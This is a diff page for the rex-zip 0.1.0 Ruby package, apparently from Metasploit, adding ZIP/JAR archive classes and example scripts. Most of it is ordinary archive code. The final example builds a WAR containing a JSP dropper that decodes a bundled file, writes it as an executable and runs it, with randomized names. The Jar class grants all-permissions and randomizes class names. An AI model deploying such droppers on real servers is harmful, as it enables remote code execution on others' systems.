rex-zip 0.1.0

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,122 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Zip
5
+
6
+ #
7
+ # An Entry represents a logical file or directory to be stored in an Archive
8
+ #
9
+ class Entry
10
+
11
+ attr_accessor :name, :flags, :info, :xtra, :comment, :attrs, :central_dir_name
12
+ attr_reader :data
13
+
14
+ def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil, central_dir_name=nil)
15
+ @name = fname.unpack("C*").pack("C*")
16
+ @central_dir_name = (central_dir_name ? central_dir_name.unpack("C*").pack("C*") : nil)
17
+ @data = data.unpack("C*").pack("C*")
18
+ @xtra = xtra
19
+ @xtra ||= ''
20
+ @comment = comment
21
+ @comment ||= ''
22
+ @attrs = attrs
23
+ @attrs ||= 0
24
+
25
+ # XXX: sanitize timestmap (assume now)
26
+ timestamp ||= Time.now
27
+ @flags = CompFlags.new(0, compmeth, timestamp)
28
+
29
+ if (@data)
30
+ compress
31
+ else
32
+ @data = ''
33
+ @info = CompInfo.new(0, 0, 0)
34
+ end
35
+ @compdata ||= ''
36
+ end
37
+
38
+ def data=(val)
39
+ @data = val.unpack("C*").pack("C*")
40
+ compress
41
+ end
42
+
43
+ #
44
+ # Compress the #data and store it for later use. If this entry's compression method
45
+ # produces a larger blob than the original data, the method is changed to CM_STORE.
46
+ #
47
+ def compress
48
+ @crc = Zlib.crc32(@data, 0)
49
+ case @flags.compmeth
50
+
51
+ when CM_STORE
52
+ @compdata = @data
53
+
54
+ when CM_DEFLATE
55
+ z = Zlib::Deflate.new(Zlib::BEST_COMPRESSION)
56
+ @compdata = z.deflate(@data, Zlib::FINISH)
57
+ z.close
58
+ @compdata = @compdata[2, @compdata.length-6]
59
+
60
+ else
61
+ raise 'Unsupported compression method: %u' % @flags.compmeth
62
+ end
63
+
64
+ # if compressing doesn't help, just store it
65
+ if (@compdata.length > @data.length)
66
+ @compdata = @data
67
+ @flags.compmeth = CM_STORE
68
+ end
69
+
70
+ @info = CompInfo.new(@crc, @compdata.length, @data.length)
71
+ end
72
+
73
+
74
+ def relative_path
75
+ get_relative_path(@name)
76
+ end
77
+
78
+ def central_dir_path
79
+ return nil if @central_dir_name.to_s.strip.empty?
80
+ get_relative_path(@central_dir_name)
81
+ end
82
+
83
+
84
+ #
85
+ # Return the compressed data in a format suitable for adding to an Archive
86
+ #
87
+ def pack
88
+ # - lfh 1
89
+ lfh = LocalFileHdr.new(self)
90
+ ret = lfh.pack
91
+
92
+ # - data 1
93
+ if (@compdata)
94
+ ret << @compdata
95
+ end
96
+
97
+ if (@gpbf & GPBF_USE_DATADESC)
98
+ # - data desc 1
99
+ dd = DataDesc.new(@info)
100
+ ret << dd.pack
101
+ end
102
+
103
+ ret
104
+ end
105
+
106
+ def inspect
107
+ "#<#{self.class} name:#{name}, data:#{@data.length} bytes>"
108
+ end
109
+
110
+ private
111
+
112
+ def get_relative_path(path)
113
+ if (path[0,1] == '/')
114
+ return path[1, path.length]
115
+ end
116
+ path
117
+ end
118
+
119
+ end
120
+
121
+ end
122
+ end
@@ -0,0 +1,283 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/zip/archive'
4
+
5
+ module Rex
6
+ module Zip
7
+
8
+ #
9
+ # A Jar is a zip archive containing Java class files and a MANIFEST.MF listing
10
+ # those classes. Several variations exist based on the same idea of class
11
+ # files inside a zip, most notably:
12
+ # - WAR files store XML files, Java classes, JSPs and other stuff for
13
+ # servlet-based webservers (e.g.: Tomcat and Glassfish)
14
+ # - APK files are Android Package files
15
+ #
16
+ class Jar < Archive
17
+ attr_accessor :manifest
18
+ # @!attribute [rw] substitutions
19
+ # The substitutions to apply when randomizing. Randomization is designed to
20
+ # be used in packages and/or classes names.
21
+ #
22
+ # @return [Hash]
23
+ attr_accessor :substitutions
24
+
25
+ def initialize
26
+ @substitutions = {}
27
+ super
28
+ end
29
+
30
+ #
31
+ # Create a MANIFEST.MF file based on the current Archive#entries.
32
+ #
33
+ # See http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html for
34
+ # some explanation of the format.
35
+ #
36
+ # Example MANIFEST.MF
37
+ # Manifest-Version: 1.0
38
+ # Main-Class: metasploit.Payload
39
+ #
40
+ # Name: metasploit.dat
41
+ # SHA1-Digest: WJ7cUVYUryLKfQFmH80/ADfKmwM=
42
+ #
43
+ # Name: metasploit/Payload.class
44
+ # SHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=
45
+ #
46
+ # The SHA1-Digest lines are optional unless the jar is signed (see #sign).
47
+ #
48
+ def build_manifest(opts={})
49
+ main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)
50
+ app_name = (opts[:app_name] ? randomize(opts[:app_name]) : nil)
51
+ existing_manifest = nil
52
+ meta_inf_exists = @entries.find_all{|item| item.name == 'META-INF/' }.length > 0
53
+
54
+ @manifest = "Manifest-Version: 1.0\r\n"
55
+ @manifest << "Main-Class: #{main_class}\r\n" if main_class
56
+ @manifest << "Application-Name: #{app_name}\r\n" if app_name
57
+ @manifest << "Permissions: all-permissions\r\n"
58
+ @manifest << "\r\n"
59
+ @entries.each { |e|
60
+ next if e.name =~ %r|/$|
61
+ if e.name == "META-INF/MANIFEST.MF"
62
+ existing_manifest = e
63
+ next
64
+ end
65
+ #next unless e.name =~ /\.class$/
66
+ @manifest << "Name: #{e.name}\r\n"
67
+ #@manifest << "SHA1-Digest: #{Digest::SHA1.base64digest(e.data)}\r\n"
68
+ @manifest << "\r\n"
69
+ }
70
+ if existing_manifest
71
+ existing_manifest.data = @manifest
72
+ else
73
+ add_file("META-INF/", '') unless meta_inf_exists
74
+ add_file("META-INF/MANIFEST.MF", @manifest)
75
+ end
76
+ end
77
+
78
+ def to_s
79
+ pack
80
+ end
81
+
82
+ #
83
+ # Length of the *compressed* blob
84
+ #
85
+ def length
86
+ pack.length
87
+ end
88
+
89
+ #
90
+ # Add multiple files from an array
91
+ #
92
+ # +files+ should be structured like so:
93
+ # [
94
+ # [ "path", "to", "file1" ],
95
+ # [ "path", "to", "file2" ]
96
+ # ]
97
+ # and +path+ should be the location on the file system to find the files to
98
+ # add. +base_dir+ will be prepended to the path inside the jar.
99
+ #
100
+ # Example:
101
+ # war = Rex::Zip::Jar.new
102
+ # war.add_file("WEB-INF/", '')
103
+ # war.add_file("WEB-INF/web.xml", web_xml)
104
+ # war.add_file("WEB-INF/classes/", '')
105
+ # files = [
106
+ # [ "servlet", "examples", "HelloWorld.class" ],
107
+ # [ "Foo.class" ],
108
+ # [ "servlet", "Bar.class" ],
109
+ # ]
110
+ # war.add_files(files, "./class_files/", "WEB-INF/classes/")
111
+ #
112
+ # The above code would create a jar with the following structure from files
113
+ # found in ./class_files/ :
114
+ #
115
+ # +- WEB-INF/
116
+ # +- web.xml
117
+ # +- classes/
118
+ # +- Foo.class
119
+ # +- servlet/
120
+ # +- Bar.class
121
+ # +- examples/
122
+ # +- HelloWorld.class
123
+ #
124
+ def add_files(files, path, base_dir="")
125
+ files.each do |file|
126
+ # Add all of the subdirectories if they don't already exist
127
+ 1.upto(file.length - 1) do |idx|
128
+ full = base_dir + file[0,idx].join("/") + "/"
129
+ if !(entries.map{|e|e.name}.include?(full))
130
+ add_file(full, '')
131
+ end
132
+ end
133
+ # Now add the actual file, grabbing data from the filesystem
134
+ fd = File.open(File.join( path, file ), "rb")
135
+ data = fd.read(fd.stat.size)
136
+ fd.close
137
+ add_file(base_dir + file.join("/"), data)
138
+ end
139
+ end
140
+
141
+ #
142
+ # Add a signature to this jar given a +key+ and a +cert+. +cert+ should be
143
+ # an instance of OpenSSL::X509::Certificate and +key+ is expected to be an
144
+ # instance of one of OpenSSL::PKey::DSA or OpenSSL::PKey::RSA.
145
+ #
146
+ # This method aims to create signature files compatible with the jarsigner
147
+ # tool destributed with the JDK and any JVM should accept the resulting
148
+ # jar.
149
+ #
150
+ # === Signature contents
151
+ # Modifies the META-INF/MANIFEST.MF entry adding SHA1-Digest attributes in
152
+ # each Name section. The signature consists of two files, a .SF and a .DSA
153
+ # (or .RSA if signing with an RSA key). The .SF file is similar to the
154
+ # manifest with Name sections but the SHA1-Digest is not optional. The
155
+ # difference is in what gets hashed for the SHA1-Digest line -- in the
156
+ # manifest, it is the file's contents, in the .SF, it is the file's section
157
+ # in the manifest (including trailing newline!). The .DSA/.RSA file is a
158
+ # PKCS7 signature of the .SF file contents.
159
+ #
160
+ # === Links
161
+ # A short description of the format:
162
+ # http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html#Signed%20JAR%20File
163
+ #
164
+ # Some info on importing a private key into a keystore which is not
165
+ # directly supported by keytool for some unfathomable reason
166
+ # http://www.agentbob.info/agentbob/79-AB.html
167
+ #
168
+ def sign(key, cert, ca_certs=nil)
169
+ m = self.entries.find { |e| e.name == "META-INF/MANIFEST.MF" }
170
+ raise RuntimeError.new("Jar has no manifest") unless m
171
+
172
+ ca_certs ||= [ cert ]
173
+
174
+ new_manifest = ''
175
+ sigdata = "Signature-Version: 1.0\r\n"
176
+ sigdata << "Created-By: 1.6.0_18 (Sun Microsystems Inc.)\r\n"
177
+ sigdata << "\r\n"
178
+
179
+ # Grab the sections of the manifest
180
+ files = m.data.split(/\r?\n\r?\n/)
181
+ if files[0] =~ /Manifest-Version/
182
+ # keep the header as is
183
+ new_manifest << files[0]
184
+ new_manifest << "\r\n\r\n"
185
+ files = files[1,files.length]
186
+ end
187
+
188
+ # The file sections should now look like this:
189
+ # "Name: metasploit/Payload.class\r\nSHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=\r\n\r\n"
190
+ files.each do |f|
191
+ next unless f =~ /Name: (.*)/
192
+ name = $1
193
+ e = self.entries.find { |e| e.name == name }
194
+ if e
195
+ digest = OpenSSL::Digest::SHA1.digest(e.data)
196
+ manifest_section = "Name: #{name}\r\n"
197
+ manifest_section << "SHA1-Digest: #{[digest].pack('m').strip}\r\n"
198
+ manifest_section << "\r\n"
199
+
200
+ manifest_digest = OpenSSL::Digest::SHA1.digest(manifest_section)
201
+
202
+ sigdata << "Name: #{name}\r\n"
203
+ sigdata << "SHA1-Digest: #{[manifest_digest].pack('m')}\r\n"
204
+ new_manifest << manifest_section
205
+ end
206
+ end
207
+
208
+ # Now overwrite with the new manifest
209
+ m.data = new_manifest
210
+
211
+ flags = 0
212
+ flags |= OpenSSL::PKCS7::BINARY
213
+ flags |= OpenSSL::PKCS7::DETACHED
214
+ # SMIME and ATTRs are technically valid in the signature but they
215
+ # both screw up the java verifier, so don't include them.
216
+ flags |= OpenSSL::PKCS7::NOSMIMECAP
217
+ flags |= OpenSSL::PKCS7::NOATTR
218
+
219
+ signature = OpenSSL::PKCS7.sign(cert, key, sigdata, ca_certs, flags)
220
+ sigalg = case key
221
+ when OpenSSL::PKey::RSA; "RSA"
222
+ when OpenSSL::PKey::DSA; "DSA"
223
+ # Don't really know what to do if it's not DSA or RSA. Can
224
+ # OpenSSL::PKCS7 actually sign stuff with it in that case?
225
+ # Regardless, the java spec says signatures can only be RSA,
226
+ # DSA, or PGP, so just assume it's PGP and hope for the best
227
+ else; "PGP"
228
+ end
229
+
230
+ # SIGNFILE is the default name in documentation. MYKEY is probably
231
+ # more common, though because that's what keytool defaults to. We
232
+ # can probably randomize this with no ill effects.
233
+ add_file("META-INF/SIGNFILE.SF", sigdata)
234
+ add_file("META-INF/SIGNFILE.#{sigalg}", signature.to_der)
235
+
236
+ return true
237
+ end
238
+
239
+ # Adds a file to the JAR, randomizing the file name
240
+ # and the contents.
241
+ #
242
+ # @see Rex::Zip::Archive#add_file
243
+ def add_file(fname, fdata=nil, xtra=nil, comment=nil)
244
+ super(randomize(fname), randomize(fdata), xtra, comment)
245
+ end
246
+
247
+ # Adds a substitution to have into account when randomizing. Substitutions
248
+ # must be added immediately after {#initialize}.
249
+ #
250
+ # @param str [String] String to substitute. It's designed to randomize
251
+ # class and/or package names.
252
+ # @param bad [String] String containing bad characters to avoid when
253
+ # applying substitutions.
254
+ # @return [String] The substitution which will be used when randomizing.
255
+ def add_sub(str, bad = '')
256
+ if @substitutions.key?(str)
257
+ return @substitutions[str]
258
+ end
259
+
260
+ @substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad)
261
+ end
262
+
263
+ # Randomizes an input by applying the `substitutions` available.
264
+ #
265
+ # @param str [String] String to randomize.
266
+ # @return [String] The input `str` with all the possible `substitutions`
267
+ # applied.
268
+ def randomize(str)
269
+ return str if str.nil?
270
+
271
+ random = str
272
+
273
+ @substitutions.each do |orig, subs|
274
+ random = str.gsub(orig, subs)
275
+ end
276
+
277
+ random
278
+ end
279
+
280
+ end
281
+
282
+ end
283
+ end
@@ -0,0 +1,32 @@
1
+ # -*- coding: binary -*-
2
+
3
+ #
4
+ # Create a zip file with comments!
5
+ #
6
+
7
+ msfbase = __FILE__
8
+ while File.symlink?(msfbase)
9
+ msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
10
+ end
11
+ inc = File.dirname(msfbase) + '/../../..'
12
+ $:.unshift(inc)
13
+
14
+ require 'rex/zip'
15
+
16
+ # example usage
17
+ zip = Rex::Zip::Archive.new
18
+ zip.add_file("elite.txt", "A" * 1024, nil, %Q<
19
+ +---------------+
20
+ | file comment! |
21
+ +---------------+
22
+ >)
23
+ zip.set_comment(%Q<
24
+
25
+ +------------------------------------------+
26
+ | |
27
+ | Hello! This is the Zip Archive comment! |
28
+ | |
29
+ +------------------------------------------+
30
+
31
+ >)
32
+ zip.save_to("lolz.zip")
@@ -0,0 +1,138 @@
1
+ # -*- coding: binary -*-
2
+
3
+ #
4
+ # Create a WAR archive!
5
+ #
6
+
7
+ msfbase = __FILE__
8
+ while File.symlink?(msfbase)
9
+ msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
10
+ end
11
+ inc = File.dirname(msfbase) + '/../../..'
12
+ $:.unshift(inc)
13
+
14
+
15
+ require 'rex/zip'
16
+
17
+
18
+ def rand_text_alpha(len)
19
+ buff = ""
20
+
21
+ foo = []
22
+ foo += ('A' .. 'Z').to_a
23
+ foo += ('a' .. 'z').to_a
24
+
25
+ # Generate a buffer from the remaining bytes
26
+ if foo.length >= 256
27
+ len.times { buff << Kernel.rand(256) }
28
+ else
29
+ len.times { buff << foo[ rand(foo.length) ] }
30
+ end
31
+
32
+ return buff
33
+ end
34
+
35
+
36
+ exe = "exe " * 1024
37
+ var_payload = "var_payload"
38
+ var_name = "var_name"
39
+
40
+
41
+ zip = Rex::Zip::Archive.new
42
+
43
+ # begin meta-inf/
44
+ minf = [ 0xcafe, 0x0003 ].pack('Vv')
45
+ zip.add_file('META-INF/', nil, minf)
46
+ # end meta-inf/
47
+
48
+ # begin meta-inf/manifest.mf
49
+ mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
50
+ zip.add_file('META-INF/MANIFEST.MF', mfraw)
51
+ # end meta-inf/manifest.mf
52
+
53
+ # begin web-inf/
54
+ zip.add_file('WEB-INF/', '')
55
+ # end web-inf/
56
+
57
+ # begin web-inf/web.xml
58
+ webxmlraw = %q{<?xml version="1.0" ?>
59
+ <web-app xmlns="http://java.sun.com/xml/ns/j2ee"
60
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
61
+ xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
62
+ http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
63
+ version="2.4">
64
+ <servlet>
65
+ <servlet-name>NAME</servlet-name>
66
+ <jsp-file>/PAYLOAD.jsp</jsp-file>
67
+ </servlet>
68
+ </web-app>
69
+ }
70
+
71
+ webxmlraw.gsub!(/NAME/, var_name)
72
+ webxmlraw.gsub!(/PAYLOAD/, var_payload)
73
+
74
+ zip.add_file('WEB-INF/web.xml', webxmlraw)
75
+ # end web-inf/web.xml
76
+
77
+ # begin <payload>.jsp
78
+ var_hexpath = rand_text_alpha(rand(8)+8)
79
+ var_exepath = rand_text_alpha(rand(8)+8)
80
+ var_data = rand_text_alpha(rand(8)+8)
81
+ var_inputstream = rand_text_alpha(rand(8)+8)
82
+ var_outputstream = rand_text_alpha(rand(8)+8)
83
+ var_numbytes = rand_text_alpha(rand(8)+8)
84
+ var_bytearray = rand_text_alpha(rand(8)+8)
85
+ var_bytes = rand_text_alpha(rand(8)+8)
86
+ var_counter = rand_text_alpha(rand(8)+8)
87
+ var_char1 = rand_text_alpha(rand(8)+8)
88
+ var_char2 = rand_text_alpha(rand(8)+8)
89
+ var_comb = rand_text_alpha(rand(8)+8)
90
+ var_exe = rand_text_alpha(rand(8)+8)
91
+ var_hexfile = rand_text_alpha(rand(8)+8)
92
+ var_proc = rand_text_alpha(rand(8)+8)
93
+
94
+ jspraw = "<%@ page import=\"java.io.*\" %>\n"
95
+ jspraw << "<%\n"
96
+ jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n"
97
+ jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
98
+ jspraw << "String #{var_data} = \"\";\n"
99
+
100
+ jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
101
+ jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
102
+ jspraw << "}\n"
103
+
104
+ jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
105
+ jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
106
+
107
+ jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
108
+ jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
109
+ jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
110
+ jspraw << "#{var_inputstream}.close();\n"
111
+
112
+ jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
113
+ jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
114
+ jspraw << "{\n"
115
+ jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
116
+ jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
117
+ jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
118
+ jspraw << "#{var_comb} <<= 4;\n"
119
+ jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
120
+ jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
121
+ jspraw << "}\n"
122
+
123
+ jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
124
+ jspraw << "#{var_outputstream}.close();\n"
125
+
126
+ jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
127
+ jspraw << "%>\n"
128
+
129
+ zip.add_file("#{var_payload}.jsp", jspraw)
130
+ # end <payload>.jsp
131
+
132
+ # begin <payload>.txt
133
+ payloadraw = exe.unpack('H*')[0]
134
+ zip.add_file("#{var_hexfile}.txt", payloadraw)
135
+ # end <payload>.txt
136
+
137
+
138
+ zip.save_to("test.war")